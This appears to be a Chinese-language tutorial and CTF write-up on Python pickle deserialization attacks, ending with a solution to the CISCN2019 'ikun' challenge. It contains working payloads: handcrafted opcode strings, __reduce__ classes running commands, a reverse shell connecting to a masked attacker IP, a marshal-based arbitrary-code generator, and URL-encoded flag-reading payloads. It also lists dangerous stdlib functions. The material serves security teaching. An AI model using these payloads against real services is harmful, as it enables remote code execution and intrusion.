0x01 序列化與反序列化
Python中的序列化操作是通過pickle
和 cPickle
模塊(操作是一樣的,這裏以pickle爲例):
1、dump
和load
與文件操作結合起來:
(1)序列化:
pickle.dump(obj, file, protocol=None,)
必填參數obj
表示將要封裝的對象,必填參數file
表示obj
要寫入的文件對象,file
必須以二進制可寫模式打開,即wb
。
(2)反序列化
pickle.load(file,*,fix_imports=True, encoding="ASCII", errors="strict"
必填參數file
必須以二進制可讀模式打開,即rb
,其他都爲可選參數。
(3)示例:
import pickle
data = ['aa', 'bb', 'cc']
with open("./test.pkl", "wb") as f:
pickle.dump(data, f)
with open("./test.pkl", "rb") as ff:
d = pickle.load(ff)
print(d)
# ['aa', 'bb', 'cc']
2、dumps
與loads
則不需要輸出成文件,而是以字符串(py2)或字節流(py3)的形式進行轉換。
(1)序列化:
pickle.dumps(obj)
(2)反序列化
pickle.loads(bytes_object)
(3)示例:
# python3
import pickle
data = ['aa', 'bb', 'cc']
p = pickle.dumps(data)
print(p)
d = pickle.loads(p)
print(d)
output:
b'\x80\x03]q\x00(X\x02\x00\x00\x00aaq\x01X\x02\x00\x00\x00bbq\x02X\x02\x00\x00\x00ccq\x03e.'
['aa', 'bb', 'cc']
# python2
import pickle
data = ['aa', 'bb', 'cc']
p = pickle.dumps(data)
print p
d = pickle.loads(p)
print d
output:
(lp0
S'aa'
p1
aS'bb'
p2
aS'cc'
p3
a.
['aa', 'bb', 'cc']
0x02 PVM 操作碼
要想真正的利用反序列化,我們還得從底層瞭解一下pickle數據的格式是什麼樣的。
c
:讀取新的一行作爲模塊名module
,讀取下一行作爲對象名object
,然後將module.object
壓入到堆棧中。(
:將一個標記對象插入到堆棧中。爲了實現我們的目的,該指令會與t
搭配使用,以產生一個元組。t
:從堆棧中彈出對象,直到一個(
被彈出,並創建一個包含彈出對象(除了(
)的元組對象,並且這些對象的順序必須跟它們壓入堆棧時的順序一致。然後,該元組被壓入到堆棧中。S
:讀取引號中的字符串直到換行符處,然後將它壓入堆棧。R
:將一個元組和一個可調用對象彈出堆棧,然後以該元組作爲參數調用該可調用的對象,最後將結果壓入到堆棧中。.
:結束pickle
簡單說來就是:
c
:以c開始的後面兩行的作用類似os.system
的調用,其中cos
在第一行,system
在第二行。(
:相當於左括號t
:相當於右括號S
:表示本行的內容一個字符串R
:執行緊靠自己左邊的一個括號對(即(
和t
之間)的內容.
:代表該pickle結束
舉一個例子:
cos
system
(S'whoami'
tR.
我們將上面的序列化字符串在python2下反序列化,相當於執行了os.system('whoami')
# python2
import pickle
s ="cos\nsystem\n(S'whoami'\ntR."
pickle.loads(s)
0x03 反序列化漏洞利用
1、可能出現的地方:
- 通常在解析認證token,session的時候。現在很多web都使用redis、mongodb、memcached等來存儲session等狀態信息。
- 可能將對象Pickle後存儲成磁盤文件。
- 可能將對象Pickle後在網絡中傳輸。
- 可能參數傳遞給程序,比如sqlmap的代碼執行漏洞
2、利用方式
python中的類有一個__reduce__
方法,類似與PHP中的wakeup
,在反序列化的時候會自動調用。
這裏注意,在python2中只有內置類纔有__reduce__
方法,即用class A(object)
聲明的類,而python3中已經默認都是內置類了,具體可參考這篇文章
而我們定義的__reduce__
可以返回一個元組,這個元組包含2到5個元素,主要用到前兩個參數,即一個可調用的對象,用於重建對象時調用,一個參數元素(也是元組形式),供那個可調用對象使用。
舉個例子就清楚了:
import pickle
import os
class A(object):
def __reduce__(self):
return (os.system,('ls',))
a = A()
test = pickle.dumps(a)
pickle.loads(test)
可以看到成功執行了命令:
我們再試一下反彈shell,在ubuntu上運行下列代碼:
import pickle
import os
class A(object):
def __reduce__(self):
shell = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("xxx.xxx.xxx.xxx",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
return (os.system,(shell,))
a=A()
result = pickle.dumps(a)
pickle.loads(result)
在kali上監聽8888端口,可以看到成功反彈shell。
pickle.loads
是會解決import 問題,對於未引入的module
會自動嘗試import
。那麼也就是說整個python標準庫的代碼執行、命令執行函數我們都可以使用。
eval, execfile, compile, open, file, map, input,
os.system, os.popen, os.popen2, os.popen3, os.popen4, os.open, os.pipe,
os.listdir, os.access,
os.execl, os.execle, os.execlp, os.execlpe, os.execv,
os.execve, os.execvp, os.execvpe, os.spawnl, os.spawnle, os.spawnlp, os.spawnlpe,
os.spawnv, os.spawnve, os.spawnvp, os.spawnvpe,
pickle.load, pickle.loads,cPickle.load,cPickle.loads,
subprocess.call,subprocess.check_call,subprocess.check_output,subprocess.Popen,
commands.getstatusoutput,commands.getoutput,commands.getstatus,
glob.glob,
linecache.getline,
shutil.copyfileobj,shutil.copyfile,shutil.copy,shutil.copy2,shutil.move,shutil.make_archive,
dircache.listdir,dircache.opendir,
io.open,
popen2.popen2,popen2.popen3,popen2.popen4,
timeit.timeit,timeit.repeat,
sys.call_tracing,
code.interact,code.compile_command,codeop.compile_command,
pty.spawn,
posixfile.open,posixfile.fileopen,
platform.popen
0x04 任意代碼執行
pickle 是不能序列化代碼對象的,但是自從 python 2.6 起,Python 給我們提供了一個可以序列化code對象的模塊Marshal
,如下:
import pickle
import marshal
import base64
def code():
import os
os.system('whoami')
code_pickle = base64.b64encode(marshal.dumps(code.func_code))
print code_pickle
輸出如下:
爲了保證格式問題採用base64編碼一下,但是我們並不能像前面那樣利用__reduce__
來調用,因爲__reduce__
是利用調用某個可調用對象(callable) 並傳遞參數來執行的,而我們這個函數本身就是一個 callable ,我們需要執行它,而不是將他作爲某個函數的參數。
這時候就需要利用PVM操作碼來進行構造了,想要這段輸出的base64的內容得到執行,我們需要如下代碼:
(types.FunctionType(marshal.loads(base64.b64decode(code_enc)), globals(), ''))()
Python 能通過 types.FunctionTyle(func_code,globals(),'')()
來動態地創建匿名函數,所以上面的語句實際上就是:
code_str = base64.b64decode(code_enc)
code = marshal.loads(code_str)
func = types.FunctionType(code, globals(), '')
func()
最終上面的例子構造出來的PVM語句如下:
ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'YwAAAAABAAAAAgAAAEMAAABzHQAAAGQBAGQAAGwAAH0AAHwAAGoBAGQCAIMBAAFkAABTKAMAAABOaf////90BgAAAHdob2FtaSgCAAAAdAIAAABvc3QGAAAAc3lzdGVtKAEAAABSAQAAACgAAAAAKAAAAABzCQAAAC5cdGVzdC5weXQEAAAAY29kZQUAAABzBAAAAAABDAE='
tRtRc__builtin__
globals
(tRS''
tR(tR.
我們將他反序列化一下看看:
import pickle
s ="""ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'YwAAAAABAAAAAgAAAEMAAABzHQAAAGQBAGQAAGwAAH0AAHwAAGoBAGQCAIMBAAFkAABTKAMAAABOaf////90BgAAAHdob2FtaSgCAAAAdAIAAABvc3QGAAAAc3lzdGVtKAEAAABSAQAAACgAAAAAKAAAAABzCQAAAC5cdGVzdC5weXQEAAAAY29kZQUAAABzBAAAAAABDAE='
tRtRc__builtin__
globals
(tRS''
tR(tR.
"""
pickle.loads(s)
發現成功執行了code
函數裏的語句:
這樣我們可以用如下腳本構造payload,再根據實際情況對payload進行url編碼之類的操作:
import marshal
import base64
def code():
pass # any code here
print """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(code.func_code))
0x05 實例分析
CISCN2019 ikun
這題先通過邏輯漏洞修改表單的折扣來購買lv6產品,然後僞造JWT爲admin拿到源碼,我們直接來講python反序列化的地方。
審計一下源碼,使用的tornado框架,問題在views/Admin.py
中:
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
可以看到在post
方法中,使用become
傳參進去,並且對傳進來的值進行url
解碼,然後反序列化,反序列化的結果通過p
在前端回顯了。
這裏就存在一個反序列化漏洞,但是這題過濾了很多執行系統命令的函數,我看網上大多數的wp直接猜出/flag.txt
然後用eval(open('/flag.txt','r').read())
來讀取文件了。
實際上這裏可以使用commands.getoutput()
來執行命令:
# coding=utf8
import pickle
import urllib
import commands
class payload(object):
def __reduce__(self):
return (commands.getoutput,('ls /',))
a = payload()
print urllib.quote(pickle.dumps(a))
得到:
ccommands%0Agetoutput%0Ap0%0A%28S%27ls%20/%27%0Ap1%0Atp2%0ARp3%0A.
再將上面腳本的ls /
改爲cat /flag.txt
,得到最終payload:
ccommands%0Agetoutput%0Ap0%0A%28S%27cat%20/flag.txt%27%0Ap1%0Atp2%0ARp3%0A.
修改become的值爲上述payload即可得到flag:
參考鏈接:
http://www.polaris-lab.com/index.php/archives/178/
https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BPython%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/